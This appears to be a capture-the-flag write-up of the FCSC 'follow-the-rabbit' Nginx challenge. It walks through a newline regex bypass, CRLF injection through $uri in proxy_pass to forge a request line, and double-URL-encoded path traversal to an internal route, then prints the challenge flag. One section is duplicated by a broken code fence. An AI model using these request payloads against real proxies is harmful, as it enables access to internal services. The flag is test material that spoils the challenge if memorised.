### Overview
The challenge is about bypassing and Nginx configuration to obtain the flag. Dockerfile is defined in the following code:
```
FROM nginx:1.23.3-alpine
COPY src/nginx.conf /etc/nginx/nginx.conf
ARG FLAG
RUN echo "set \$flag \"${FLAG}\";" > /etc/nginx/flags.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
```
I should be noted that the current version of Nginx is *1.24.0*, and not *1.23.3*. So I attempted to find any vulnerabilities that might exist between these version. But nothing is useful but let's notice inside nginx.conf cotains two **server** blocks but only the port 80 is accessible(mapped on 8000)
```
upstream @deeper {
server 127.0.0.1:8082;
}
server {
listen 80;
server_name _;
location ~* ^(.*)$ {
return 200 "I'm late! I'm late! For a very important date!";
}
location / {
return 200 "Oh dear, oh dear! I shall be too late!";
}
location /deeper {
proxy_pass http://@deeper$uri$is_args$args;
}
}
server {
listen 8082;
server_name deeper;
include flags.conf;
location /deeper {
add_header X-Original-Path "$uri";
add_trailer X-Trailer "Coming to a nginx close to you" ;
return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
}
location /deepest {
return 200 "$flag";
}
}
```
##### Summarize:
```
Exposed server - 0.0.0.0:80 :
Regex ~* ^(.*)$ => "I'm late! I'm late! For a very important date!"
Match / => "Oh dear, oh dear! I shall be too late!"
Match /deeper => proxy_pass http://@deeper$uri$is_args$args;
Internal server - @deeper
Match /deeper => "No time to say hello, goodbye! I'm late! I'm late! I'm late!"
Match /deepest => "$flag"
```
This challenge involves two steps. The first is to bypass the regex on the exposed server to reach the ```/deeper``` location. Consequently, our HTTP request will be fowarded to the internal server. The second steps involves directing the same HTTP request towards the ```/deepest``` location of the internal server.
#### 0x01: location ~* ^(.*)$
On the nginx documentation about the location directivee, we can see that the matching is done after URL decoding. So if we insert a new line (%0A) in the path of our request, we can bypass regex
```
# into regex
$ curl 'http://localhost:9001/whatever'
I'm late! I'm late! For a very important date!
# into regex
$ curl 'http://localhost:9001/%0a'
I'm late! I'm late! For a very important date!
# location /
$ curl 'http://localhost:9001/%0a/'
Oh dear, oh dear! I shall be too late!
```
As you can see above, we reach the location / ! Now let’s try to reach the ```/deeper``` location.
#### 0x02: proxy_pass
```
# Simple try
$ curl 'http://localhost:9001/deeper/%0A'
I'm late! I'm late! For a very important date!
# Malformed HTTP request
$ curl 'http://localhost:90001/deeper/%0A%0D'
curl: (1) Received HTTP/0.9 when not allowed
# location /deeper - Fix the HTTP request
$ curl 'http://localhost:9001/deeper/%20HTTP/1.1%0d%0aFake-Header:xyz'
No time to say hello, goodbye! I'm late! I'm late! I'm late!
```
How it works ? The $uri variable is URL decode before sending the request to the internal server.
- $uri: current URI in request, normalized (decoding the text encoded in the “%XX” form).
To do some debuging, we can edit the nginx configuration to send the proxy pass to a netcat server to see the HTTP request in plaintext
```
# Malformed request
$ curl 'http://localhost:9001/deeper/%0A%0D'
GET /deeper/
HTTP/1.0 # <--- Notice the new line here
Host: 127.0.0.1:8081
Connection: close
User-Agent: curl/8.0.1
Accept: */*
# Fix the HTTP request by adding a fake header
$ curl 'http://localhost:9001/deeper/%20HTTP/1.1%0d%0aFake-Header:xyz'
GET /deeper/ HTTP/1.1
Fake-Header:xyz HTTP/1.0
Host: 127.0.0.1:8081
Connection: close
User-Agent: curl/8.0.1
Accept: */*
```
We successfully forged a valid HTTP request by adding a fake header
#### 0x03: normalized URI
```
So, our last goal is to reach the /deepest location. To do that we need to use double URL encoding to match the /deeper location of the first server and the location /deepest of the second server.
Server #1 location /deeper: /deeper/%252E%252E%252Fdeepest ($uri normalized)
Server #2 location /deeper: /deeper/%2E%2E%2Fdeepest -> /deeper/../deepest -> /deepest (location normalized
```So, our last goal is to reach the /deepest location. To do that we need to use double URL encoding to match the /deeper location of the first server and the location /deepest of the second server.
Server #1 location /deeper: /deeper/%252E%252E%252Fdeepest ($uri normalized)
Server #2 location /deeper: /deeper/%2E%2E%2Fdeepest -> /deeper/../deepest -> /deepest (location normalized
```
We can now obtain the flag !!!
```
$ export HOST='https://follow-the-rabbit.france-cybersecurity-challenge.fr'
$ curl "$HOST/deeper/%252E%252E%252Fdeepest%20HTTP/1.1%0d%0AFake-Header:xyz"
FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}
```